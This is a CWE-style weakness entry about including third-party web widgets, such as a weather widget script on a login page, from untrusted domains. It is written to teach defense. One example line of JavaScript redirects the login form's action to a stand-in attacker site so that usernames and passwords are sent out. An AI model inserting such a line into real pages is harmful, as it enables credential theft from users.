Inclusion of Web Functionality from an Untrusted Source

Incomplete Variant
Structure: Simple
Description

The product includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the product, potentially granting total access and control of the product to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted. Even if the third party is a trusted source, the product may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the product. This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the product, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access. Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Common Consequences 1
Scope: ConfidentialityIntegrityAvailability

Impact: Execute Unauthorized Code or Commands

Demonstrative Examples 1

ID : DX-94

This login webpage includes a weather widget from an external website:

Code Example:

Bad
HTML
html
This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')).
For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Code Example:

Attack
JavaScript

...Weather widget code....* document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.
References 1
Third-Party Web Widget Security FAQ
Jeremiah Grossman
ID: REF-778
Modes of Introduction
Implementation